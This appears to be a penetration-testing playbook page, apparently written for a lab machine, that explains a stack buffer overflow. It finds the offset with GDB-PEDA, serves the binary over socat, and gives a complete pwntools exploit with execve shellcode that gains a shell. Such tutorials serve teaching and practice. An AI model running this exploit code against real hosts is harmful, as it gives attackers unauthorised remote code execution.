> For the complete documentation index, see [llms.txt](https://playbook.sidthoviti.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://playbook.sidthoviti.com/buffer-overflows.md).

# Buffer Overflows

## Finding the Offset

Let's casually find the offset by printing "A" in python and passing it to the binary until Segmentation fault.

```
python -c 'print("A" * 100)'|./leak
```

![](/files/Wf2w6c06D5fQsnZ71X3W)

### Check the Security Properties of Binary

```
apt-get -y install checksec
checksec ./leak
```

![](/files/lBbYWGDPln7U7lMzvvL8)

### Ghidra Code Browser

fgets() is vulnerable to buffer overflow.

![](/files/MGIv1eKzgFkwzOn9xGcm)

In GDB-PEDA, the command `x/wx $rsp` is used to examine the memory content at the address pointed to by the stack pointer (`$rsp`). Let's break down the command:

* `x`: This is the "examine" command in GDB, used to inspect memory content.
* `/wx`: These are the modifiers for the examine command. The `/w` specifies that we want to display the memory as a 32-bit word (4 bytes), and the `/x` specifies that we want to display the memory content in hexadecimal format.
* `$rsp`: This is a GDB register variable representing the stack pointer. The stack pointer holds the memory address of the top of the stack.

Putting it all together, `x/wx $rsp` will show you the 32-bit word at the memory location pointed to by the stack pointer in hexadecimal format.

```
gdb -q ./leak
gdb-peda$ pattern_create 100
gdb-peda$ run
gdb-peda$ x/wx $rsp
gdb-peda$ pattern offset 0x65413149
```

![](/files/u5p20RK1xjnwV3RDv67F)

### Open Port using Socat on Target

```
www-data@jet:~$ socat TCP-LISTEN:9999,reuseaddr,fork EXEC:/home/leak &  
```

### Create BOF exploit using PwnTools Library

```
#!/usr/bin/python3
from pwn import remote, p64

shellcode = b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05"  

offset = 72
junk = b"A" * (offset - len(shellcode))

shell = remote('10.13.37.10', 9999)
shell.recvuntil(b"Oops, I'm leaking! ")

leak = int(shell.recvuntil(b"\n"),16)  
ret = p64(leak)

payload = shellcode + junk + ret  

shell.recvuntil(b"> ")
shell.sendline(payload)
shell.interactive()

```

### Execute Exploit and Gain shell

```
python3 bof.py
```

![](/files/aiIbBisgwMZBH3ZeJr51)
